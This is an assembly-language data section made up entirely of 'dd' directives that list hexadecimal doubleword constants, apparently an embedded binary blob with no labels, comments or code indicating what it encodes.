dd 56BD760Ah, 6C360016h, 4BAADE0Dh, 0ECF4F01Fh, 0B000390h
dd 17D8F40Eh, 0F642CFCDh, 3770009Fh, 494526E5h, 861DC63Fh
dd 0C100573Bh, 1E78BB4Bh, 0C8C3387Eh, 0AB9D408Fh, 4704B180h
dd 0A41DA8B3h, 82403E45h, 0A27D1DD7h, 66C0F57h, 0ED800377h
dd 67FAB05Dh, 1B7EE300h, 480F1859h, 0D5CD13E7h, 830B00DFh
dd 5BC3134h, 26D7E903h, 0F059C496h, 0EAACE706h, 2CC500FBh
dd 72DAF391h, 0A6007D4Ch, 0AEE411B7h, 2620E024h, 0D31574h
dd 41F598C1h, 5800AA4Ch, 12ABAC81h, 0E2EA714Bh, 9514002Dh
dd 0F2E1A920h, 1300AFEFh, 1694D2A0h, 0FBF6A7Ch, 7AC3D4AAh
dd 0BE52D600h, 740091D7h, 0D4E1E79h, 0A0383D2Fh, 0FDB394h
dd 87BDEF56h, 2522594Ch, 9C001870h, 7466B7AEh, 1C9F4981h
dd 0C08F501Ch, 3C777907h, 12F0C478h, 0B1BC8400h, 822B8860h
dd 280A90D4h, 9031FDh
dd 52BF3D23h, 453A2966h, 1600407Ch, 0BA35824Eh, 0FFF21285h
dd 80DCA421h, 897639B2h, 93C6ED80h, 40772110h, 3CE5E100h
dd 0CBAE86D4h, 7CF8008Dh, 0B032EA5Bh, 6A1EFFB2h, 1F4089EDh
dd 0D99A8584h, 0F6D800FBh, 819052FAh, 0E400CE1Eh, 0CD7C8B8Fh
dd 9F0A82Ch, 58B3B5C2h, 931B1C30h, 23D3E700h, 8F7D8B49h
dd 1C371EF1h, 642440F2h, 0D08227B7h, 0FE6A0700h, 64AA22Dh
dd 221D00F9h, 533EE41Ch, 0A60CBF95h, 60B66E74h, 6279EBh
dd 13C6759Fh, 6DAFB580h, 27C08400h, 0D4E585E4h, 575C2CB0h
dd 2B2A00B2h, 0A2FCA990h, 16AC7300h, 116EE766h, 37670056h
dd 34449836h, 33013A7Ch, 89B07E49h, 0B5C0BD20h, 837514h
dd 0D1B88B65h, 1D49A10Bh, 0AB998A00h, 14A3520Eh, 74CFA51h
dd 0E2961A3Eh, 0C0E62086h, 0F07E3A8Fh, 3137FD30h, 0A93036h
dd 1C5E18BCh, 905DA04Dh, 0D8AF8800h, 4607EDB3h, 97E060h
dd 77741E76h, 93F0B5AAh, 5DB8AE00h, 0F2953063h, 0BCDD0081h
dd 46FD645Eh, 1E096137h, 20C7E097h, 0E5237810h, 0B5F63A8Bh
dd 5ABBC200h, 0E21CB44Fh, 28455E0Fh, 142AA181h, 0FBD0D7A1h
dd 0CB940557h, 0C340EE9Dh, 0DDF05B10h, 0F700AAC7h, 0FEF9BEC1h
dd 711666h, 3E766534h, 0D1D058D4h, 1D512100h, 0E8884814h
dd 100F07A7h, 9BD6BCCEh, 5A6E5406h, 0A80066F6h, 92B5759Ch
dd 7D28784h, 14AE6F93h, 3F016019h, 0D0E41D45h, 4737EC00h
dd 4B3C728Dh, 449600FCh, 0B9E527D3h, 0BFF68560h, 3BCE871Dh
dd 0AA224E40h, 124F2880h, 0A0FA51h, 0AD19C874h, 7F0039FCh
dd 9BA5B599h, 0F752C69h, 7C77AE42h, 0F6EE0120h, 1E3CA213h
dd 0C0F38559h, 0BC902231h, 74365A34h, 0FD3300D3h, 458BF829h
dd 0E449FF9Ah, 47D71DF0h, 52034424h, 0A88B31D0h, 99BEEDAh
dd 42F6FC82h, 0BDBB7480h, 4D0062DEh, 0D2A1F043h, 75C0DDE2h
dd 0F1AC00EFh, 1BB540E0h, 2600711Eh, 28BAB311h, 90030E64h
dd 0DF5E0544h, 8FD337h, 0BA513B9h, 100FE35Ah, 8F272BFFh
dd 0E1380040h, 33CB51FBh, 0CD3802F2h, 0EB8E0EB8h, 3DC20902h
dd 0E84D05B9h, 0DB4C28h, 92B026BBh, 0B16C8C75h, 62848003h
dd 0E0715E9Ch, 9F5D36Eh, 4167AC57h, 2FE0FF00h, 0F9000351h
dd 0BE11B2C7h, 7DF1523Bh, 0FCB92859h, 1C6AECA8h, 18B675D5h
dd 767F10B1h, 0F8BBDF00h, 685DA47Ah, 462F31F6h, 0CD203589h
dd 2BC4CCC8h, 21293Ah, 12A2DA81h, 0C05747B9h, 965D3328h
dd 550069D1h, 0E7253E5Bh, 5F47EA5h, 0E9A0C628h, 0F2D20B58h
dd 0C5079890h, 75D3D000h, 35EDC2F6h, 0E5AF0048h, 9B50F944h
dd 0C04CF81Ah, 15D70024h, 3E7F5698h, 0CD4E143Dh, 0D005CA4h
dd 0A2786B31h, 0A614C629h, 21C1B32h, 82685270h, 4B818564h
dd 0B10D6803h, 2C9000C8h, 9C4ABE89h, 0C20020B2h, 5C3D808Eh
dd 3C73EDh, 5551D3F5h, 57887D96h, 8BDAF200h, 3784D62Bh
dd 0A6500077h, 15B265AEh, 0BA00C923h, 8336590Bh, 0E747E3h
dd 0A5CFD9DFh, 0B7902960h, 9AA70200h, 0AB8A7F4Fh, 93746Dh
dd 0FAD614F9h, 0EAB1C67Dh, 76BF0800h, 3126653Ah, 8CB40715h
dd 0D0BC22E7h, 6FA9C9E8h, 9690627Dh, 1AA1F700h, 0F67C690Ah
dd 31BFAABh, 7FC603Fh, 40F91751h, 2EA03A1Eh, 728B0737h
dd 302E1144h, 881A5E60h, 477CEDFCh, 48804Ch, 5D81207Fh
dd 1D7E654h, 218B26FAh, 9C7BE1CAh, 0D003121h, 4D83AC61h
dd 79B32493h, 1AB80C1Ch, 9600E420h, 0A0088D7Bh, 0E1D778h
dd 195AF0CDh, 95293FE7h, 26E05D1Dh, 7F5C1A79h, 8301558h
dd 87601B1Fh, 0B72E94h, 5A12EE8Bh, 23C7529h, 0FCC13228h
dd 362659C1h, 0AC1301A9h, 0E53E6DD0h, 0B144F8EAh, 23908846h
dd 0FD887600h, 692DEC7h, 97E4188Ah, 3D8950BAh, 0AEEC931Eh
dd 80889C0Fh, 0B55A3BAAh, 400360FEh, 0CFA0D491h, 88BAA900h
dd 9B32B3C9h, 0DCB42537h, 0E4863880h, 0BA000FD0h, 0EEB590ECh
dd 0F68DB805h, 5C80835Bh, 300DB61h, 28DE9648h, 0EBCA5CDh
dd 31DD272Eh, 0C2060883h, 405FE099h, 12CFD0A8h, 6C5A8E24h
dd 3CBEB880h, 1E10FBAh, 5BC96A50h, 80A555D5h, 35AAC221h
dd 799E2658h, 6BE90195h, 0A09D3BB1h, 0ED088C9Bh, 54D8B0h
dd 0A839C11Ah, 0D1E52CA6h, 0BB016007h, 0B9C07EA9h, 3C5F2B5h
dd 3DACFF53h, 67E89B2Dh, 3007A5D1h, 2ABE6604h, 4C6425F0h
dd 0B25F0094h, 69E9BD07h, 98A2AA0Bh, 409EC30Eh, 0FFFA48BFh
dd 0EF001C4Bh, 0BAABDE1Bh, 12B7241h, 0F3FCB544h, 0D0756436h
dd 9401D35Eh, 0CAE70181h, 0C06FD2C7h, 53D4119Ch, 0FF547E1Fh
dd 348FF383h, 225C981Dh, 0CEF8E5h, 0B7671F9Dh, 4478A4B5h
dd 65835200h, 81C28253h, 4062033Ah, 4B93DB0Ah, 0B3601DE2h
dd 3007EB5Ch, 902D11F6h, 13696CE0h, 0B99B00C8h, 28C1B176h
dd 3600CB2Ah, 0AD063BCCh, 3F8385h, 0B98B3942h, 0F9B1E5CFh
dd 0D42C4F03h, 536A4Ch, 0BAED7118h, 132627D2h, 0C5284D07h
dd 0D4F00E97h, 5CD098h, 27AD8D50h, 54EFC874h, 90658C00h
dd 2F391586h, 0A4B800EDh, 0BB368F1Ch, 0A200C847h, 0B6ADE37Bh
dd 23C06Dh, 0DFB45CD4h, 85ED6743h, 0A7708100h, 99E4A188h
dd 15F300DAh, 6890848Fh, 7800EC25h, 0B4053AADh, 0B7BAEEh
dd 3296B8Dh, 0D75D1467h, 0CA4FC900h, 98290CCh, 841C5075h
dd 9FF90088h, 0B61D4E3Fh, 2D7C6223h, 76495E00h, 7226C82Ah
dd 0BC123EC1h, 0D7DA2F80h, 0FF134D7Eh, 0A05FFD07h, 7206F03h
dd 0E96C04h, 0A6B7BE33h, 103D4475h, 9E779800h, 0D27B94D7h
dd 47AE00C9h, 0E5FE927Dh, 7600A230h, 4BA4FC7Ch, 3D41F5h
dd 0AAF283C6h, 0F1457AD0h, 0B57B0D1Dh, 0E087240Eh, 17965C58h
dd 0FD5E032Ah, 47A87C94h, 0C74E5FF8h, 78997203h, 0E8C3C98Eh
dd 68F96Ah, 0EB5D9B7Fh, 36804AE1h, 0DC72F400h, 0B014F697h
dd 0DD470028h, 968D21FEh, 0B101D7E5h, 0ED5BBB99h, 0AEC44542h
dd 24BF00F3h, 6C03FBE9h, 5D003502h, 3F71CBE1h, 7F33C8h
dd 8EB932FDh, 289B810h, 0D0C008EAh, 0D3336D77h, 7BD53036h
dd 3952EB90h, 9769B03h, 0C089A1h, 50A40DA8h, 0FC45FB87h
dd 67A2E109h, 0AB540044h, 245FF8h, 0FD9A405Bh, 0F186E8B4h
dd 3DF5AA00h, 2FE44513h, 0BBE1715h, 0D4DE0097h, 5A4387F4h
dd 0ACCB9A0Eh, 25D8811Fh, 972062EAh, 915B00DFh, 4264BB87h
dd 3F00FE20h, 36FA6DCCh, 1C04ECE7h, 4716659Ch, 0C0C809D8h
dd 7AC6DCFBh, 984FB700h, 84EF3FDDh, 7DE3FADBh, 3C3EA25h
dd 0E9F19585h, 5AE003C2h, 3D0081C5h, 716E4BE7h, 7B2013h
dd 8CA2CD73h, 86BE311h, 0DFD4C200h, 0B2E479A7h, 7800034h
dd 5E73D9BCh, 3D01D206h, 0BE18383Bh, 0AAECC483h, 7D8B00B8h
dd 0AF30B184h, 2C70CC41h, 127D60EDh, 0D9F07F60h, 2AA4AEh
dd 6EC32122h, 68DF325Ch, 5A7B5400h, 8B0709Ch, 72920074h
dd 240509C9h, 0C8001F20h, 293D5A28h, 0F9DBA7h, 3488134Ch
dd 71177A31h, 1485044Ch, 5098DACEh, 0FA00F6AEh, 453CDC66h
dd 3ED2B47Bh, 30580A0Bh, 0D9A9A500h, 0D08905C9h, 0B56E8C00h
dd 0F4FDE113h, 59412CE6h, 10DE0433h, 9F5C043h, 95305B8Dh
dd 0EE4E400Fh, 30A0009Ah, 59B986BCh, 3F009088h, 6AA5E864h
dd 761D4910h, 6B480193h, 40B74ADh, 7211E49Eh, 0C13BBD00h
dd 0CC291A0h, 0E96300D3h, 0C0B42995h, 5705EAA6h, 0DFBCE567h
dd 0E03DE980h, 562B8D2h, 962D4742h, 0D4830098h, 0C40D4A01h
dd 0DEBA0801h, 0E5328E9Ch
dd 4360F8h, 0BDB22D76h, 0EE7ED882h, 1A424F00h, 0AF51A773h
dd 46B18CEh, 0C49A9876h, 0D8C0B974h, 0DE6C09A2h, 0C911C09Fh
dd 0EFC05F26h, 0C2E04898h, 6839E500h, 481B5552h, 1A7B00E4h
dd 18F84412h, 7D1641DEh, 74002687h, 35574840h, 142A00F5h
dd 0E7438886h, 8F392CFFh, 62B58779h, 3F0C5AAh, 749E9Ah
dd 6D2D8AC6h, 0A3AECD0Dh, 327ED107h, 0DD31F095h, 0F7E4859Bh
dd 0EC0D0034h, 8862D771h, 1DF0E22Dh, 36C0140Fh, 1350F70h
dd 2C5EB133h, 0A5941E60h, 59488420h, 9668308Ah, 0B5700FBAh
dd 7B8E89DDh, 30DFEDC6h, 77B14100h, 0BE9D99B4h, 0A8B3004Bh
dd 0E9EC0BCBh, 5B63744Eh, 909A7248h, 30ABB9EEh, 57F23FC5h
dd 0AA1E50F3h, 2E00417Fh, 0D40B2D01h, 96D062Fh, 867853Ch
dd 0C76FDD00h, 0D2DBE08h, 8B1824EEh, 75860097h, 799CF75Ch
dd 0DD3A3D07h, 7012665Dh, 30A48027h, 5BFAE1h, 526E9CC5h
dd 0E3096CE8h, 0D7A17118h, 0E8E75EE0h, 0D2F0049h, 3A785960h
dd 8D0CE9E8h, 0B83080E6h, 83451FBBh, 1055008Ch, 0A50E329Eh
dd 1806E56h, 0CD94AEC0h, 1A4C2Eh, 0ADC171C0h, 415F39h
dd 5DDF23FFh, 589DA296h, 0EF93CB2Ch, 0F01CF204h, 7511C780h
dd 278EE6Eh, 0B92C7177h, 45E064C3h, 960F3FD3h, 206D14F1h
dd 0CFDFFEAAh, 6E80004Eh, 0D829C22Fh, 567CF788h, 33C5B0A0h
dd 3762EC0Ah, 0E47020D7h, 701F8C4Ch, 2A07FF94h, 0EBC07A52h
dd 15259E19h, 0D031EF0Bh, 41281Fh, 649D7061h, 29021F3Ah
dd 0BC353698h, 72DC8008h, 0F08980A5h, 5EE18D7h, 0CF3D383Fh
dd 3241120Ch, 12811066h, 807AE648h, 0B70F0ED4h, 6E686B00h
dd 0F2DF9A04h, 2B03395Eh, 1F930C80h, 7F01F641h, 0F74DC400h
dd 92793D31h, 60C56054h, 57EE3422h, 285E5A0Eh, 3B4C608Bh
dd 62E0490h, 0E27B92AFh, 9500786Ch, 3508BE91h, 3D325124h
dd 0AD80669Eh, 0A370AC2Bh, 1C610B7Dh, 0F7CE85C8h, 78FA08F0h
dd 5C6C0031h, 3A294C61h, 7107F6F2h, 7D18F365h, 0ED6003D0h
dd 47A406AAh, 0F00B9189h, 52008BFEh, 8305722Eh, 7129155Bh
dd 439C0602h, 2094B3CDh, 4AF0490Dh, 5680A1D7h, 0EEEF43FDh
dd 9FEC8F48h, 0E5875F07h, 0CF0656D1h, 0AC2F00F0h, 377157C9h
dd 0A0D28B81h, 45EDA600h, 382DE38h, 9E0BBDE7h, 0D10356D9h
dd 0D8ED03CAh, 8330986Dh, 1D3FC64h, 3BB9E365h, 0D3AF5EBCh
dd 2D91E812h, 3D095800h, 0DB3038h, 652EF511h, 93F9F07Ah
dd 6BB21B1Fh, 0B9A007Dh, 9FD601A7h, 78E0C7h, 0BC98ADD5h
dd 12FE49ACh, 80E51C00h, 0EBA10558h, 8AA600CBh, 0ABBEEE02h
dd 62006C21h, 4D4912C6h, 8D880Dh, 0E9816482h, 0ED3135A8h
dd 54A13Ch, 9CCA1C9Fh, 10DC4CDh, 0FD3CFE55h, 80A8F986h
dd 0CA23C820h, 78D81Ah, 0C2AC247Fh, 0E7F45ECDh, 0B771363Dh
dd 0FE028ADh, 0F34EE3h, 0BC92F5FCh, 0AFDA474Ch, 133D89Dh
dd 0DD4F7132h, 80512513h, 5CC34A30h, 86E480h, 0B7B067DEh
dd 0C2A07746h, 0B0235Ch, 957D2EA9h, 0C7E62A7h, 7F999694h
dd 0A3072170h, 30AAC9A2h, 0F0E90A60h, 60037EDCh, 0CB26B8E0h
dd 0D90E3531h, 8082D3C5h, 66BE149Dh, 1DA38A7h, 1CAD07F5h
dd 20C7EC1Fh, 0D311335Fh, 48978C14h, 0B4686094h, 6EF220h
dd 0CFD2A9CCh, 0F5BF4575h, 0AD79D2A0h, 0B847E500h, 0BC93F20Ah
dd 88C91801h, 0B483B06Ah, 12464B00h, 57161874h, 85FA00BCh
dd 0CF9687D2h, 0CC0160ADh, 144BD02Eh, 6CC4038h, 10CE0091h
dd 3EA4F484h, 82E4E757h, 90D57C00h, 27BDC1D6h, 9BB903C3h
dd 0AC25EC84h, 0DCA97490h, 94FA8303h, 0F81AE39Ch, 744EBC34h
dd 0F8105B7h, 80976F72h, 13E63146h, 0DAE1A100h, 51226726h
dd 1DFB00A8h, 0EDCD694Ch, 0D1CF63Bh, 0DDC28720h, 877E5279h
dd 142039CCh, 12E976h, 0FD8036BBh, 0FF11ECADh, 7A4CD600h
dd 0C8D9DECCh, 25BD3CB1h, 5C934687h, 3776C3BBh, 0E0DEFE81h
dd 86180884h, 32307B39h, 50EA0005h, 0A14EA86Ch, 0D4005DADh
dd 0CF207F9Eh, 0A5D933h, 9C9DDBC6h, 0F1FB1525h, 50BE3610h
dd 0FE934100h, 0EFC3EEAh, 5ADED40Ah, 5F501C21h, 7B7EC67h
dd 0E14EA1DCh, 0DEEA02E2h, 3ACF1E21h, 0EA41020Eh, 7C00A77h
dd 9E701C81h, 0D43D5C0Fh, 0B054345Eh, 13E16BFh, 4EA7966Ah
dd 48AC4721h, 89E28E10h, 5CC75103h, 8CEC14Eh, 35731E90h
dd 384D83F0h, 80D052D4h, 0FF2F1461h, 1AF018EAh, 52601780h
dd 71C0169h, 453E34D4h, 0FC603DC8h, 6469B17Dh, 10F088F9h
dd 0D31FA860h, 0C45D54D4h, 0DC36828Bh, 0DABF900Fh, 0A88748Dh
dd 0F40660E1h, 3638A21Ah, 22577EDCh, 8120FF14h, 0D8BE29C2h
dd 10278214h, 2121FAC0h, 8C5EFEA4h, 0AD98BD02h, 0C101C069h
dd 0E85E05FAh, 0CAAF0D1Eh, 80BC5E77h, 8185C9ECh, 84059821h
dd 0FE23BA41h, 0AB9643Ch, 0DD8B6C19h, 630A8CC4h, 0FE532171h
dd 448C054h, 81DC0236h, 0FE24E8A1h, 0B1E5878Dh, 41D9CC1Fh
dd 0D4261000h, 0A15218BEh, 0D441D1FFh, 0E83F74B1h, 0A8407A67h
dd 183B48E9h, 31B10131h, 0EEFEE069h, 7186262h, 97CB424h
dd 0F1D3B793h, 3A81F021h, 4F340269h, 0C96B815Ch, 51BEAF01h
dd 0D4401EE8h, 1A0FA2DFh, 2174E18Bh, 0CC2418Ah, 4FEA21E1h
dd 0CEC78168h, 0DCBA74h, 0F3A7C1h, 9DE9BEFEh, 71449F08h
dd 0B83E2498h, 567E09F4h, 6F680670h, 6B610170h, 1B5FA14Dh
dd 95088757h, 66C38A2Dh, 0EF200F0Dh, 0FC84085Ch, 1849EFFh
dd 7EE51972h, 2421AB3Bh, 14EA49D4h, 0D466CAFEh, 0F0F50514h
dd 0D84C4F14h, 43F82D37h, 70771FBFh, 0C1A00F51h, 767ED030h
dd 8EC4FD50h, 19D8EB3Ah, 0D202E77h, 0DE635E00h, 0F9D660F9h
dd 0DFD7D8E9h, 0EA6F9EF0h, 0E00AC708h, 81147EC2h, 6A4FFEF0h
dd 0D4864094h, 3A961E0Ch, 3863F908h, 5525C018h, 0C3E02C08h
dd 3BBC9815h, 3E079DF0h, 40D9D75Bh, 0DF08A6A4h, 7ED02760h
dd 1DC3596Ah, 3CA504DEh, 0A183ED81h, 4351C09Fh, 8B9D2ECh
dd 8856317Fh, 0C532018h, 2C08591Eh, 0FF1F18C3h, 2A083258h
dd 0BF021D19h, 0E49F03E5h, 797F080Ch, 0CDE2207Dh, 0E1280661h
dd 0C0383795h, 0AFF42284h, 0D45B485Ch, 0A048D24h, 1BCD01Eh
dd 8540BDEh, 4211DD1Fh, 346FA1D8h, 7B660F9Dh, 0E049CD12h
dd 29148E78h, 0BE140182h, 908C6EC5h, 34100120h, 0D5500E63h
dd 89101819h, 0A39030F3h, 6F4AA8A0h, 2F485490h, 617E0C58h
dd 743D8810h, 503FF01Dh, 9083CC72h, 0A0A1245Ch, 9007F88Ch
dd 54409A18h, 98CD41F0h, 3D108800h, 1AE2109Bh, 98E12C6Dh
dd 5AF09424h, 0C40B713Ch, 0DFAF8151h, 482A2E8Ch, 2E5BB09h
dd 60A22188h, 9E93E88h, 30FF0852h, 0BBE5003h, 48B10922h
dd 0FE097869h, 800339A3h, 98143783h, 24882CCDh, 0F02660A2h
dd 19881C14h, 318049Bh, 493E4020h, 12121C1Eh, 420C08AFh
dd 187D4FF8h, 0A873A7AEh, 0CCA9FCC1h, 3E088263h, 4DD9CCBCh
dd 8EF28104h, 24E49618h, 0B4AEB3FCh, 1028AE3Eh, 10E40B6h
dd 80207003h, 3FA156CCh, 0D9DA4F15h, 51B5B0BCh, 0A18244CDh
dd 6B0ED104h, 18808780h, 986C7E5Eh, 0F16A1150h, 0E003B0D7h
dd 75942090h, 0FD2D410Ah, 19D98CD6h, 88AF86D4h, 6D0511E1h
dd 0CB597ECCh, 9088878h, 528BDE55h, 1A201427h, 65EF01F8h
dd 0CEE2BECCh, 880578B4h, 84651179h, 4B37B0D1h, 0FA3420h
dd 2CC3323Bh, 2B5EF757h, 246B0238h, 642308AFh, 8885D041h
dd 3CC15184h, 38B8822Dh
dd 0D898BC88h, 1C18E813h, 61387126h, 0B4355064h, 38C0D0EFh
dd 0D56DBAF0h, 724620h, 26E0E301h, 27D46043h, 0FBA3030Ah
dd 1FD8A0D6h, 536718BFh, 62A14083h, 88E01093h, 0C02AD306h
dd 1C094131h, 0C8731EF9h, 6CC3260Bh, 3E4482FFh, 0D6E0857Ah
dd 0E0DE0092h, 1AB24174h, 0D8018497h, 1D05883Ch, 798F3EA4h
dd 1BE320D0h, 0B9DE01F9h, 7E233207h, 0CD028FFEh, 0AE83053Ch
dd 377F7480h, 618575D3h, 6481083Ah, 5A05EDAh, 1E5F0C5Ch
dd 4381BC44h, 986C6C84h, 0DF5C08F9h, 2100705Eh, 1ECDE644h
dd 1E87477h, 6B086DDEh, 207B4CC0h, 5B51A5BCh, 1EA81AE4h
dd 0A708C0C5h, 2BC10074h, 8EBECDE9h, 121C1348h, 0C00C0A5Ah
dd 0AD9F4884h, 0BE190298h, 8C506709h, 0D6E6107h, 32007EF9h
dd 0E8E1206Bh, 86E00170h, 0C8406CC0h, 0B7A0F067h, 6608AD60h
dd 716065BEh, 5C749871h, 61148C78h, 5F17AC93h, 0CC604587h
dd 10F08173h, 0F7A030FBh, 5E2608B8h, 8020A8B5h, 5F0E8B0h
dd 50B004B8h, 11503A63h, 71082667h, 271E06B0h, 56202839h
dd 8516368h, 0E88EA9DEh, 186BF131h, 9460A785h, 0C3530577h
dd 1CABCC5Eh, 8CC42C8Ch, 1030A2D3h, 0C26C09Ah, 5B01C855h
dd 1E61847Fh, 6041A1C7h, 0C6C17874h, 215D5E08h, 0D7CA4414h
dd 0A75B22B8h, 0D5078214h, 0B0A11FACh, 922D9A01h, 38398h
dd 0A0DE3ABEh, 98364A9Eh, 38FC3A14h, 9A1E00Bh, 0C080A170h
dd 3761EAA0h, 64F7B318h, 0C1C2E9E1h, 0B86041C0h, 10C032FEh
dd 287099A0h, 244C8D59h, 6106A0EBh, 0EC08F15Fh, 3121F0EFh
dd 2AD8054Fh, 3A308A30h, 41129C3Dh, 845EFC06h, 0B4DE30E0h
dd 5D9A3EF8h, 0A68B68CBh, 0F8702E44h, 0B341C9D7h, 310EA861h
dd 7CD805D8h, 0C11DAA60h, 0A02066F5h, 12F94615h, 0DAD755Eh
dd 5B889ACCh, 28004F4h, 41423DA6h, 0A840E7AFh, 0F709A9C4h
dd 0E028B3Eh, 0A0684CF8h, 0D7CC2418h, 0FD8863E8h, 84BCB02Ch
dd 8991C4E0h, 31D492EEh, 0A30426E1h, 0B4EFC2C7h, 0EA39843Bh
dd 14E0EB09h, 26C8928Dh, 0F401880h, 0FE039630h, 87BE857h
dd 0A540F4A0h, 0CA20F0A0h, 7FB0E348h, 0E098FF5Dh, 3050B2E6h
dd 21F85832h, 0A90E7749h, 82790323h, 4F5C59A3h, 637601F8h
dd 18F913Ah, 808C8AC1h, 0DEE06260h, 3C0B394Bh, 7974A27Dh
dd 14CEFFFh, 0C3040645h, 2D20346Fh, 26847658h, 5E06E494h
dd 59085C2Fh, 59F048BCh, 9822C802h, 68625D6Fh, 71800DF1h
dd 0A18410BEh, 14BBFCF6h, 0B0EBE8C0h, 185649D2h, 78FD5F16h
dd 0AC15C270h, 9E86872h, 0CD227AE1h, 765A807Ch, 0AC05A012h
dd 0E2280090h, 700C40Dh, 469EF7B4h, 481ECCA9h, 3E0E00BCh
dd 39FEA90h, 7EF77D99h, 185D2F8h, 1D8C149h, 21841DD0h
dd 8427F624h, 5AF9C181h, 21A4240Fh, 8FED001h, 0D28FFFBFh
dd 343084D9h, 12B9035Eh, 95AEBEF9h, 8CC6102Ch, 13837E06h
dd 52412430h, 36D1324h, 3CE2044h, 0A3F460A0h, 0DC02E490h
dd 0B73EEA4Ah, 8A9C4166h, 4DDE8841h, 6CD40831h, 0F448CA5Bh
dd 3ED050C4h, 1D03AE38h, 528EA6DCh, 0BFB100D6h, 3ED91C6h
dd 5CB94D5Fh, 3EC9479Eh, 401848D1h, 480A231Fh, 31C52A40h
dd 1B67D89h, 4D603C98h, 4AA406F9h, 5B0D021Ch, 0FC59D71h
dd 43280AC0h, 7E034939h, 7840B8B6h, 0E005A3B9h, 253D20h
dd 0A4996FEDh, 10F94701h, 0D9446C07h, 19430E55h, 39100092h
dd 0FC9D653Ch, 2100D664h, 71EF497Dh, 0E8DF96F9h, 8C5A00D9h
dd 0A120BCAAh, 313AF8E3h, 159800A0h, 6F5980DDh, 79623CEDh
dd 7488AD31h, 1D38D0A6h, 5902837Ch, 394D613Dh, 6C9607h
dd 1FD6A7ADh, 71C529F6h, 79303C61h, 40EA3CAh, 2307E5F8h
dd 0C3331141h, 0B1105751h, 5725A0E3h, 854B33C8h, 949AA00Ah
dd 73D8B04Ch, 379777Bh, 51C52B10h, 0C00882DAh, 0D8506FA3h
dd 5000338Fh, 0C52C34BEh, 5088D6F1h, 538DB062h, 37C01C4Ch
dd 5F4DE20Eh, 95F89181h, 631C934Ch, 0F7B882DFh, 10C0FECAh
dd 0B2516B25h, 11B0C41Ch, 195AC086h, 40936142h, 6295F6C0h
dd 0D4B2289Dh, 0EFCC0190h, 5EB4D96Fh, 8A041B4Dh, 908EB6C1h
dd 0C4A3515Ch, 0B55C70CFh, 0BD80A774h, 0C2D39122h, 0CAB3F138h
dd 29611040h, 0B75D200Ah, 0FCA324C2h, 2FA81D60h, 48C460F3h
dd 0E106091h, 0D1703D0Eh, 8A578521h, 1884A078h, 898CB245h
dd 0D9048831h, 898A596Fh, 0B0E90C98h, 0C53AFC72h, 20CE1949h
dd 0B54D3808h, 8094F856h, 0FF54E8BAh, 67F183C0h, 2905EA1h
dd 0B1C32518h, 687101C5h, 7845EA1h, 2B7DB38Fh, 1115E03Ah
dd 0C3D3E07Ch, 61B2636Bh, 51C237B1h, 85802C4Dh, 3B86384Fh
dd 71C612C0h, 18C87D42h, 71061420h, 2B116F1Bh, 0F0255070h
dd 3A6D7939h, 5B01D8E6h, 87FBD950h, 8494D04Ch, 0C0306253h
dd 605355F3h, 10949095h, 1588F651h, 0A07C9497h, 3090700Ah
dd 0F1887C99h, 12FCE17Dh, 0F004114Dh, 26727338h, 0E30DE43h
dd 5921BD91h, 5E9569F2h, 45E203E4h, 1C6FE876h, 9A2A3170h
dd 0E83C393Ah, 278DB806h, 0FCE04F18h, 59E304C6h, 789569D2h
dd 85C23826h, 1C713960h, 0F2155821h, 0A0709213h, 20655BDFh
dd 1101DD9Eh, 9259D93Dh, 21E93B5h, 9D0A990Eh, 0A0B10710h
dd 85525806h, 0D3809447h, 638E9B18h, 5C35180h, 5032580Ch
dd 381884A7h, 5B07EE70h, 0BDC1D2A5h, 0D9E5F1F3h, 1FB5259h
dd 7DA32B0h, 619F1258h, 2C85B38h, 87418C8Fh, 0F19100D6h
dd 197D7A26h, 788754B2h, 6C0C3C01h, 0B8B9318Bh, 61465A6h
dd 8B18899h, 0B6ABD00Ah, 8C707C78h, 3A1714F1h, 267E98AAh
dd 1524D501h, 2AB07C38h, 0E71261EBh, 0C005CE28h, 0B481C25Ch
dd 745AA73Ch, 74711002h, 0ECA0C46Bh, 194C4F80h, 8C06D75h
dd 7259E4FBh, 7CA75657h, 49155780h, 0D058D70Dh, 49893210h
dd 0ACB9017Ch, 57C5AA6h, 0D46BDB69h, 2551DC47h, 0B5F40E29h
dd 0C4E5B07Ch, 0D2B731A1h, 0E482F1C0h, 0FD2B594Ch, 7D447CACh
dd 94500581h, 7591B440h, 0FDA8C99Eh, 0D968E48Ah, 0D508C8E4h
dd 1831A9C3h, 287013ECh, 0BB487882h, 0FE49877Fh, 1E627EA0h
dd 409DFF39h, 90ED54BCh, 0AD232BA4h, 12E74078h, 6C28A7C5h
dd 2561F4CFh, 9F373948h, 62AD9842h, 80E4B68Ch, 489353C8h
dd 11096CE9h, 0C402BAC9h, 0F0BCAD28h, 0D3ED870Ch, 32B13994h
dd 0FD78B9EEh, 6F3B7CB6h, 0D53517D6h, 0A4D30044h, 49A80C83h
dd 54B054A8h, 312ACE29h, 0F80EECD3h, 0CC194F62h, 9332E894h
dd 2A7AE06Ch, 0F0A44FE4h, 0D9B0EA62h, 81644F39h, 3B721361h
dd 317880C5h, 594F0FF2h, 88CFBB9h, 9B8863ADh, 0E6999CA0h
dd 0A9E47E50h, 2420E948h, 0A0972423h, 0C5F90004h, 3A5238C0h
dd 0C08093A7h, 982031EFh, 3110D649h, 0C4D968D3h, 64ECF8A0h
dd 9F0370BBh, 4E910E10h, 0C44F12D5h, 79B85871h, 0F4BD505Bh
dd 39A0DE6Eh, 2688BCA8h, 0C14C17Ch, 0FBC8514Eh, 54EC7F50h
dd 24503F24h, 86C3DD8h, 29D7D82Bh, 0E342B200h, 93BF0AF8h
dd 1312C7A0h, 391FD689h, 0E3C135B1h, 506F70B8h, 0C4C12426h
dd 8F074881h, 0C1A451D9h, 0B9DD78E3h, 802B38D0h, 82492259h
dd 212BE02Ch, 495B6038h, 0E38C94F1h, 90E0D814h, 853F12B0h
dd 0F23BA078h, 0F45E58DDh, 88927B86h, 0F00C9F59h, 10781BA2h
dd 729D2ABh, 38E8B5F5h, 0D0040EE5h, 50097F74h, 0B7D90483h
dd 9F331910h, 95F40A24h, 9A19D071h, 20CD18BBh, 24F9B944h
dd 2C004110h, 1B7D32ACh
dd 78A812ADh, 9652303Ah, 6C1C9208h, 0F0E32F8h, 0B2E158h
dd 0E933F89Eh, 0D45D02DFh, 32B1CBCCh, 479740F7h, 0DBAC00BAh
dd 3D9C792Fh, 0B400AF31h, 57FB38E2h, 1EB5423h, 80B38526h
